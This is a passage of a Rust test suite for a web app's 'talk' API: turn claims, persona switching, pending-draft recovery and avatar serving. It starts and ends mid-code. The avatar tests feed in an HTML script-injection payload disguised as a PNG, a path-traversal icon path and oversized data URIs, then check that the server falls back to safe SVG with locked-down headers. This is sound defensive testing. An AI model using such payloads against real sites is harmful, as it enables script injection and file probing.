10240 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10241 .await
10242 .expect("detail");
10243 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10244 assert_eq!(roster, ["mock", "second"]);
10245
10246 let mut closed = talks.get(&id).expect("reload");
10247 talk::close(&mut closed, &talks).expect("close");
10248 let refused = call("mock").await.expect_err("closed talk");
10249 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10250 assert!(
10251 refused.message.contains("takes no more turns"),
10252 "{}",
10253 refused.message
10254 );
10255 }
10256
10257 #[tokio::test]
10258 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10259 let tmp = TempDir::new().expect("tempdir");
10260 let repo = tmp.path().join("repo");
10261 std::fs::create_dir_all(&repo).expect("repo dir");
10262 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10263 let home = TempDir::new().expect("temp home");
10264 let talks = Talks::at(home.path().join("talks"));
10265 let ui = Arc::new(
10266 Ui::new(
10267 Queue::at(home.path().join("queue")),
10268 Questions::at(home.path().join("questions")),
10269 talks.clone(),
10270 home.path().join("runs"),
10271 home.path().to_path_buf(),
10272 repo.clone(),
10273 )
10274 .with_worktrees_root(home.path().join("wt")),
10275 );
10276 let cfg = config_for(&repo).await.expect("discover config");
10277 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10278 let id = talk.id.clone();
10279 let call = |n: u8| {
10280 talk_implementers(
10281 State(Arc::clone(&ui)),
10282 Path(id.clone()),
10283 Json(TalkImplementers { implementers: n }),
10284 )
10285 };
10286
10287 for bad in [0u8, 4] {
10288 let e = call(bad).await.expect_err("out of range");
10289 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10290 }
10291 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10292
10293 {
10294 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10297 let busy = call(2).await.expect_err("busy talk");
10298 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10299 assert!(
10300 busy.message.contains("a talk turn is running"),
10301 "{}",
10302 busy.message
10303 );
10304 drop(guard);
10305 }
10306
10307 let Json(view) = call(3).await.expect("switch");
10308 assert_eq!(view.talk.implementers, 3);
10309 assert!(talks.get(&id).expect("reload").implementers_dirty);
10310 assert!(!view.thinking);
10311 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10312 for n in [1, 2, 3] {
10313 let Json(view) = call(n).await.expect("immediate consecutive change");
10314 assert_eq!(view.talk.implementers, n);
10315 assert!(!view.thinking);
10316 assert!(!ui.is_thinking(&id));
10317 }
10318
10319 let mut closed = talks.get(&id).expect("reload");
10320 talk::close(&mut closed, &talks).expect("close");
10321 let e = call(2).await.expect_err("closed talk");
10322 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10323 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10324 }
10325
10326 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10328 let tmp = TempDir::new().expect("tempdir");
10329 let repo = tmp.path().join("repo");
10330 std::fs::create_dir_all(&repo).expect("repo dir");
10331 std::fs::write(
10332 repo.join("magi.toml"),
10333 format!("{MOCK_AGENT_TOML}\n{extra}"),
10334 )
10335 .expect("write magi.toml");
10336 let home = TempDir::new().expect("temp home");
10337 let talks = Talks::at(home.path().join("talks"));
10338 let ui = Arc::new(
10339 Ui::new(
10340 Queue::at(home.path().join("queue")),
10341 Questions::at(home.path().join("questions")),
10342 talks.clone(),
10343 home.path().join("runs"),
10344 home.path().to_path_buf(),
10345 repo.clone(),
10346 )
10347 .with_worktrees_root(home.path().join("wt")),
10348 );
10349 let cfg = config_for(&repo).await.expect("discover config");
10350 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10351 (tmp, home, ui, talk.id, repo)
10352 }
10353
10354 async fn avatar(
10356 ui: &Arc<Ui>,
10357 id: &str,
10358 persona: Option<&str>,
10359 builtin: bool,
10360 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10361 let res = talk_avatar(
10362 State(Arc::clone(ui)),
10363 Path(id.to_owned()),
10364 Query(AvatarQuery {
10365 persona: persona.map(str::to_owned),
10366 builtin: builtin.then(|| "1".to_owned()),
10367 }),
10368 )
10369 .await
10370 .expect("an avatar is never an error response");
10371 let h = res.headers();
10372 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10373 let nosniff = h
10374 .get(header::X_CONTENT_TYPE_OPTIONS)
10375 .is_some_and(|v| v == "nosniff");
10376 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10377 let status = res.status();
10378 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10379 .await
10380 .expect("body")
10381 .to_vec();
10382 (status, ct, nosniff, csp, body)
10383 }
10384
10385 fn tiny_png() -> Vec<u8> {
10386 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10387 b.extend_from_slice(&[0u8; 32]);
10388 b
10389 }
10390
10391 #[tokio::test]
10392 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10393 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10394 for p in [
10395 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10396 ] {
10397 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10398 assert_eq!(status, StatusCode::OK, "{p}");
10399 assert_eq!(ct, "image/svg+xml", "{p}");
10400 assert!(nosniff && csp, "{p}");
10401 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10402 }
10403 let own = avatar(&ui, &id, None, false).await;
10405 let default = avatar(&ui, &id, Some("default"), false).await;
10406 assert_eq!(own.4, default.4);
10407 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10408 assert_eq!(unknown.1, "image/svg+xml");
10409 }
10410
10411 #[tokio::test]
10412 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10413 let dir = TempDir::new().expect("icons");
10414 let good = dir.path().join("good.png");
10415 std::fs::write(&good, tiny_png()).unwrap();
10416 let spoof = dir.path().join("spoof.png");
10417 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10418 let big = dir.path().join("big.png");
10419 let mut bytes = tiny_png();
10420 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10421 std::fs::write(&big, bytes).unwrap();
10422 let missing = dir.path().join("missing.png");
10423 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10424 let extra = format!(
10425 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10426 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10427 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10428 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10429 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10430 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10431 uri(&good),
10432 uri(&spoof),
10433 uri(&big),
10434 uri(&missing),
10435 );
10436 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10437
10438 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10439 assert_eq!(
10440 (status, ct.as_str(), nosniff),
10441 (StatusCode::OK, "image/png", true)
10442 );
10443 assert_eq!(body, tiny_png());
10444 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10445 assert_eq!(ct, "image/png", "data URI");
10446
10447 for p in ["misato", "asuka", "shinji", "magi"] {
10448 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10449 assert_eq!(
10450 (status, ct.as_str(), csp),
10451 (StatusCode::OK, "image/svg+xml", true),
10452 "{p}"
10453 );
10454 assert!(body.starts_with(b"<svg"), "{p}");
10455 }
10456 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10458 assert_eq!(ct, "image/svg+xml");
10459 }
10460
10461 #[tokio::test]
10462 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10463 let oversized = format!(
10464 "data:image/png;base64,{}",
10465 "A".repeat(persona_icon::ICON_MAX_BYTES)
10466 );
10467 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10468 let extra = format!(
10469 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10470 );
10471 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10472 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10473 .await
10474 .expect("detail with invalid icon");
10475 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10476 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10477 assert_eq!(status, StatusCode::OK);
10478 assert_eq!(ct, "image/svg+xml");
10479 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10480 let Json(view) = talk_persona(
10481 State(Arc::clone(&ui)),
10482 Path(id.clone()),
10483 Json(TalkPersona {
10484 persona: "custom".into(),
10485 }),
10486 )
10487 .await
10488 .expect("persona switch with invalid icon");
10489 assert_eq!(view.talk.persona, "custom");
10490 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10491 }
10492 }
10493
10494 #[tokio::test]
10495 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10496 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10497 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10498 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10499 assert_eq!(
10500 (status, ct.as_str(), nosniff, csp),
10501 (StatusCode::OK, "image/svg+xml", true, true)
10502 );
10503 }
10504
10505 #[tokio::test]
10506 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10507 let (_t, _h, ui, id, _repo) =
10508 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10509 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10510 .await
10511 .expect("detail");
10512 let json = serde_json::to_string(&detail).unwrap();
10513 assert!(
10514 !json.contains("secret"),
10515 "the icon setting must not leak: {json}"
10516 );
10517 assert!(
10518 detail
10519 .view
10520 .persona_avatar
10521 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10522 );
10523 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10524 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10525 assert!(rei.avatar.contains("persona=rei&v="));
10526 assert_ne!(
10527 rei.avatar.split("&v=").nth(1),
10528 plain.avatar.split("&v=").nth(1)
10529 );
10530 }
10531
10532 #[tokio::test]
10533 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10534 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10535 let cfg = config_for(&repo).await.unwrap();
10536 for arrived in [false, true] {
10537 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10538 let observed = ui.queued_generation(&id);
10539 let talk = ui.talks.get(&id).unwrap();
10540 if arrived {
10541 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10542 }
10543 let mut settling = std::pin::pin!(settle_settings_turn(
10544 talk,
10545 ui.talks.clone(),
10546 cfg.clone(),
10547 id.clone(),
10548 turn,
10549 observed
10550 ));
10551 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10552 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10553 assert_eq!(first.is_pending(), arrived);
10554 if arrived {
10555 assert!(!settling.await);
10556 }
10557 assert!(!ui.is_thinking(&id));
10558 }
10559 }
10560
10561 #[tokio::test]
10562 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10563 let tmp = TempDir::new().expect("tempdir");
10564 let repo = tmp.path().join("repo");
10565 std::fs::create_dir_all(&repo).expect("repo dir");
10566 std::fs::write(
10567 repo.join("magi.toml"),
10568 format!(
10569 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10570 ),
10571 )
10572 .expect("write magi.toml");
10573 let home = TempDir::new().expect("temp home");
10574 let talks = Talks::at(home.path().join("talks"));
10575 let ui = Arc::new(
10576 Ui::new(
10577 Queue::at(home.path().join("queue")),
10578 Questions::at(home.path().join("questions")),
10579 talks.clone(),
10580 home.path().join("runs"),
10581 home.path().to_path_buf(),
10582 repo.clone(),
10583 )
10584 .with_worktrees_root(home.path().join("wt")),
10585 );
10586 let cfg = config_for(&repo).await.expect("discover config");
10587 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10588 let id = talk.id.clone();
10589 let call = |persona: &str| {
10590 talk_persona(
10591 State(Arc::clone(&ui)),
10592 Path(id.clone()),
10593 Json(TalkPersona {
10594 persona: persona.to_owned(),
10595 }),
10596 )
10597 };
10598
10599 let unknown = call("nobody").await.expect_err("unknown persona");
10600 assert_eq!(
10601 unknown.status,
10602 StatusCode::BAD_REQUEST,
10603 "{}",
10604 unknown.message
10605 );
10606
10607 {
10608 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10611 let busy = call("rei").await.expect_err("busy talk");
10612 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10613 assert!(
10614 busy.message.contains("a talk turn is running"),
10615 "{}",
10616 busy.message
10617 );
10618 drop(guard);
10619 }
10620 assert_eq!(talks.get(&id).expect("reload").persona, "");
10621
10622 let Json(view) = call("gendo").await.expect("switch to a configured persona");
10623 assert_eq!(view.talk.persona, "gendo");
10624 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10625 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10626 for chosen in ["default", "gendo", "rei", "gendo"] {
10628 let Json(view) = call(chosen).await.expect("immediate consecutive change");
10629 assert!(!view.thinking);
10630 assert!(!ui.is_thinking(&id));
10631 }
10632
10633 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10634 .await
10635 .expect("detail");
10636 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10637 assert_eq!(ids.first(), Some(&"default"));
10638 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10639
10640 let Json(view) = call("default").await.expect("back to default");
10641 assert_eq!(view.talk.persona, "");
10642
10643 let mut closed = talks.get(&id).expect("reload");
10644 talk::close(&mut closed, &talks).expect("close");
10645 let refused = call("rei").await.expect_err("closed talk");
10646 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10647 assert!(
10648 refused.message.contains("takes no more turns"),
10649 "{}",
10650 refused.message
10651 );
10652 }
10653
10654 #[tokio::test]
10655 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10656 let f = Fixture::start().await;
10657 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10658 let queue = f.queue();
10659 let mut mine = Task::new(
10660 "rename the loader".to_owned(),
10661 "rename the loader".to_owned(),
10662 PathBuf::from("/repo/magi"),
10663 Source::Agent {
10664 run: talk_id.clone(),
10665 node: "chat".to_owned(),
10666 },
10667 );
10668 queue.put(&mut mine).expect("file the task");
10669 let mut theirs = Task::new(
10670 "unrelated".to_owned(),
10671 "unrelated".to_owned(),
10672 PathBuf::from("/repo/magi"),
10673 Source::Human,
10674 );
10675 queue.put(&mut theirs).expect("file the task");
10676
10677 let res = f.get(&format!("/api/talks/{talk_id}")).await;
10678 assert_eq!(res.status, 200, "{}", res.body);
10679 let body = res.json();
10680 assert_eq!(
10681 body["status"], "open",
10682 "filing a task does not close a talk"
10683 );
10684 let tasks = body["tasks"].as_array().expect("tasks array");
10685 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10686 assert_eq!(tasks[0]["id"], mine.id);
10687 }
10688
10689 #[tokio::test]
10690 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10691 let (_tmp, _repo, f) = talk_fixture().await;
10692 let id = f.post("/api/talks", None).await.json()["id"]
10693 .as_str()
10694 .expect("id")
10695 .to_owned();
10696
10697 let res = f
10698 .post(
10699 &format!("/api/talks/{id}/say"),
10700 Some(r#"{"text":"what does the queue module do?"}"#),
10701 )
10702 .await;
10703 assert_eq!(res.status, 202, "{}", res.body);
10704 let queued = res.json();
10705 let turns = queued["turns"].as_array().expect("turns array");
10706 assert_eq!(
10707 turns.len(),
10708 1,
10709 "the answer reflects only what is on disk the instant it is sent, \
10710 before the agent's turn - which can run for the whole of \
10711 `[graph] timeout_talk` - has a chance to land: {queued}"
10712 );
10713 assert_eq!(turns[0]["who"], "operator");
10714 assert_eq!(turns[0]["body"], "what does the queue module do?");
10715 assert_eq!(
10716 queued["thinking"], true,
10717 "the accepted response exposes the background turn claim: {queued}"
10718 );
10719
10720 let mut turns_after = 1;
10721 for _ in 0..SETTLE_STEPS {
10722 let detail = f.get(&format!("/api/talks/{id}")).await.json();
10723 turns_after = detail["turns"].as_array().expect("turns array").len();
10724 if turns_after == 2 {
10725 break;
10726 }
10727 tokio::time::sleep(Duration::from_millis(10)).await;
10728 }
10729 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10730 }
10731
10732 #[tokio::test]
10759 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10760 let tmp = TempDir::new().expect("tempdir");
10761 let repo = tmp.path().join("repo");
10762 std::fs::create_dir_all(&repo).expect("repo dir");
10763 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10764 let home = TempDir::new().expect("temp home");
10765 let talks = Talks::at(home.path().join("talks"));
10766 let ui = Arc::new(
10767 Ui::new(
10768 Queue::at(home.path().join("queue")),
10769 Questions::at(home.path().join("questions")),
10770 talks.clone(),
10771 home.path().join("runs"),
10772 home.path().to_path_buf(),
10773 repo.clone(),
10774 )
10775 .with_worktrees_root(home.path().join("wt")),
10776 );
10777 let cfg = config_for(&repo).await.expect("discover config");
10778
10779 for delay in 0..40u32 {
10780 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10781 let id = talk.id.clone();
10782
10783 let handler = tokio::spawn(talk_say(
10784 State(Arc::clone(&ui)),
10785 Path(id.clone()),
10786 Ok(Json(NewTalkTurn {
10787 reply_to: None,
10788 text: "what does the queue module do?".to_owned(),
10789 attachments: Vec::new(),
10790 })),
10791 ));
10792 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10793 handler.abort();
10794 let _ = handler.await;
10797
10798 let mut turns = 0;
10799 for _ in 0..SETTLE_STEPS {
10800 if let Ok(fresh) = talks.get(&id) {
10801 turns = fresh.turns.len();
10802 if turns != 1 {
10803 break;
10804 }
10805 }
10806 tokio::time::sleep(Duration::from_millis(10)).await;
10807 }
10808 assert_ne!(
10809 turns, 1,
10810 "delay {delay}: talk {id} recorded the operator's turn but \
10811 the agent never answered - the reply task was never \
10812 started after the handler future was dropped"
10813 );
10814 }
10815 }
10816
10817 #[tokio::test]
10862 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10863 let tmp = TempDir::new().expect("tempdir");
10864 let repo = tmp.path().join("repo");
10865 std::fs::create_dir_all(&repo).expect("repo dir");
10866 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10867 let home = TempDir::new().expect("temp home");
10868 let talks = Talks::at(home.path().join("talks"));
10869 let ui = Arc::new(
10870 Ui::new(
10871 Queue::at(home.path().join("queue")),
10872 Questions::at(home.path().join("questions")),
10873 talks.clone(),
10874 home.path().join("runs"),
10875 home.path().to_path_buf(),
10876 repo.clone(),
10877 )
10878 .with_worktrees_root(home.path().join("wt")),
10879 );
10880 let cfg = config_for(&repo).await.expect("discover config");
10881
10882 for attempt in 0..3u32 {
10883 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10884 let id = talk.id.clone();
10885 let turn_guard = ui
10888 .begin_talk_turn(&id)
10889 .expect("claim the turn")
10890 .expect("a fresh talk owes nobody a turn");
10891
10892 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10893 let (release_tx, release_rx) = std::sync::mpsc::channel();
10894 ui.set_busy_queue_gate(BusyQueueGate {
10895 reached: reached_tx,
10896 release: release_rx,
10897 });
10898
10899 let handler = tokio::spawn(talk_say(
10900 State(Arc::clone(&ui)),
10901 Path(id.clone()),
10902 Ok(Json(NewTalkTurn {
10903 reply_to: None,
10904 text: "what does the queue module do?".to_owned(),
10905 attachments: Vec::new(),
10906 })),
10907 ));
10908
10909 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10914 .await
10915 .unwrap_or_else(|_| {
10916 panic!(
10917 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10918 )
10919 })
10920 .expect("the busy branch dropped the gate without using it");
10921
10922 let running = talks.get(&id).expect("reload talk");
10929 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10930
10931 handler.abort();
10935 let _ = handler.await;
10936
10937 let _ = release_tx.send(());
10943
10944 let mut fresh = talks.get(&id).expect("reload talk");
10947 for _ in 0..SETTLE_STEPS {
10948 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10949 break;
10950 }
10951 tokio::time::sleep(Duration::from_millis(10)).await;
10952 fresh = talks.get(&id).expect("reload talk");
10953 }
10954 assert!(
10955 fresh.pending.is_empty() && fresh.turns.len() == 2,
10956 "attempt {attempt}: talk {id} left the operator's text queued \
10957 with no drainer - the reclaimed turn was dropped along with \
10958 the handler future (pending {:?}, {} turns)",
10959 fresh.pending,
10960 fresh.turns.len()
10961 );
10962 }
10963 }
10964
10965 #[tokio::test]
10966 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10967 let (_tmp, _repo, f) = talk_fixture().await;
10968 let id = f.post("/api/talks", None).await.json()["id"]
10969 .as_str()
10970 .expect("id")
10971 .to_owned();
10972 let store = f.talks();
10973 let mut recovered = store.get(&id).expect("opened talk");
10974 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10975 .expect("persist pending draft without a live turn");
10976
10977 let edited = f
10978 .post(
10979 &format!("/api/talks/{id}/pending/edit"),
10980 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10981 )
10982 .await;
10983 assert_eq!(edited.status, 200, "{}", edited.body);
10984 assert!(edited.json()["thinking"].as_bool().unwrap());
10985
10986 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10987 for _ in 0..SETTLE_STEPS {
10988 if detail["turns"].as_array().expect("turns").len() == 2 {
10989 break;
10990 }
10991 tokio::time::sleep(Duration::from_millis(10)).await;
10992 detail = f.get(&format!("/api/talks/{id}")).await.json();
10993 }
10994 let turns = detail["turns"].as_array().expect("turns");
10995 assert_eq!(
10996 turns.len(),
10997 2,
10998 "the recovered draft must run once: {detail}"
10999 );
11000 assert_eq!(turns[0]["body"], "corrected");
11001 assert_eq!(detail["pending"], "");
11002 }
11003
11004 #[tokio::test]
11005 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11006 let tmp = TempDir::new().expect("tempdir");
11007 let repo = tmp.path().join("repo");
11008 std::fs::create_dir_all(&repo).expect("repo dir");
11009 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11010 let f = Fixture::with_repo(repo).await;
11011 let id = f.post("/api/talks", None).await.json()["id"]
11012 .as_str()
11013 .expect("id")
11014 .to_owned();
11015 let store = f.talks();
11016 let mut recovered = store.get(&id).expect("opened talk");
11017 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11018 .expect("persist pending draft without a live turn");
11019
11020 let refused = f
11021 .post(
11022 &format!("/api/talks/{id}/say"),
11023 Some(r#"{"text":"new message"}"#),
11024 )
11025 .await;
11026 assert_eq!(refused.status, 409, "{}", refused.body);
11027 assert!(refused.body.contains("resume"), "{}", refused.body);
11028 let saved = store.get(&id).expect("draft remains after refusal");
11029 assert!(saved.turns.is_empty());
11030 assert_eq!(saved.pending, "saved before restart");
11031
11032 let say_path = format!("/api/talks/{id}/say");
11033 let (first, second) = tokio::join!(
11034 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11035 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11036 );
11037 assert_eq!(first.status, 409, "{}", first.body);
11038 assert_eq!(second.status, 409, "{}", second.body);
11039 let saved = store
11040 .get(&id)
11041 .expect("draft remains after concurrent refusals");
11042 assert!(saved.turns.is_empty());
11043 assert_eq!(saved.pending, "saved before restart");
11044
11045 let resumed = f
11046 .post(&format!("/api/talks/{id}/pending/resume"), None)
11047 .await;
11048 assert_eq!(resumed.status, 202, "{}", resumed.body);
11049 let duplicate = f
11050 .post(&format!("/api/talks/{id}/pending/resume"), None)
11051 .await;
11052 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11053
11054 for _ in 0..SETTLE_STEPS {
11055 if store.get(&id).expect("talk").turns.len() == 2 {
11056 break;
11057 }
11058 tokio::time::sleep(Duration::from_millis(10)).await;
11059 }
11060 let finished = store.get(&id).expect("finished talk");
11061 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11062 assert_eq!(finished.turns[0].body, "saved before restart");
11063 assert!(finished.pending.is_empty());
11064 }
11065
11066 #[tokio::test]
11067 async fn an_image_only_recovered_draft_resumes_without_text() {
11068 let (_tmp, _repo, f) = talk_fixture().await;
11069 let id = f.post("/api/talks", None).await.json()["id"]
11070 .as_str()
11071 .expect("id")
11072 .to_owned();
11073 let uploaded = f
11074 .post_bytes(
11075 &format!("/api/talks/{id}/attachments"),
11076 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11077 PNG_BYTES,
11078 )
11079 .await;
11080 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11081 let attachment = f
11082 .talks()
11083 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11084 .expect("attachment metadata")
11085 .expect("stored attachment");
11086 let store = f.talks();
11087 let mut recovered = store.get(&id).expect("opened talk");
11088 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11089
11090 let resumed = f
11091 .post(&format!("/api/talks/{id}/pending/resume"), None)
11092 .await;
11093 assert_eq!(resumed.status, 202, "{}", resumed.body);
11094 for _ in 0..SETTLE_STEPS {
11095 if store.get(&id).expect("talk").turns.len() == 2 {
11096 break;
11097 }
11098 tokio::time::sleep(Duration::from_millis(10)).await;
11099 }
11100 let finished = store.get(&id).expect("finished talk");
11101 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11102 assert!(finished.turns[0].body.is_empty());
11103 assert_eq!(finished.turns[0].attachments.len(), 1);
11104 assert!(finished.pending_attachments.is_empty());
11105 }
11106
11107 #[tokio::test]
11108 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11109 let (_tmp, _repo, f) = talk_fixture().await;
11110 let id = f.post("/api/talks", None).await.json()["id"]
11111 .as_str()
11112 .expect("id")
11113 .to_owned();
11114 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11115 assert_eq!(closed.status, 200, "{}", closed.body);
11116 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11117 .expect("serialize closed talk");
11118 for (path, body) in [
11119 (format!("/api/talks/{id}/pending/resume"), None),
11120 (
11121 format!("/api/talks/{id}/pending/clear"),
11122 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11123 ),
11124 (
11125 format!("/api/talks/{id}/pending/edit"),
11126 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11127 ),
11128 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11129 ] {
11130 let response = f.post(&path, body).await;
11131 assert_eq!(response.status, 409, "{}", response.body);
11132 }
11133 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11134 .expect("serialize closed talk");
11135 assert_eq!(
11136 after_clear, before_clear,
11137 "clear must not rewrite a closed talk"
11138 );
11139 }
11140
11141 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11144
11145 #[tokio::test]
11146 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11147 let tmp = TempDir::new().expect("tempdir");
11148 let repo = tmp.path().join("repo");
11149 std::fs::create_dir_all(&repo).expect("repo dir");
11150 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11151 let f = Fixture::with_repo(repo).await;
11152 let id_a = f.post("/api/talks", None).await.json()["id"]
11153 .as_str()
11154 .unwrap()
11155 .to_owned();
11156 let id_b = f.post("/api/talks", None).await.json()["id"]
11157 .as_str()
11158 .unwrap()
11159 .to_owned();
11160
11161 let a = f
11162 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11163 .await;
11164 assert_eq!(a.status, 202, "{}", a.body);
11165 assert_eq!(a.json()["thinking"], true);
11166 let b = f
11167 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11168 .await;
11169 assert_eq!(b.status, 202, "{}", b.body);
11170 assert_eq!(b.json()["thinking"], true);
11171
11172 let listed = f.get("/api/talks").await.json();
11173 for id in [&id_a, &id_b] {
11174 let view = listed
11175 .as_array()
11176 .unwrap()
11177 .iter()
11178 .find(|talk| talk["id"] == *id)
11179 .unwrap();
11180 assert_eq!(view["thinking"], true, "{listed}");
11181 }
11182 let repeated = f
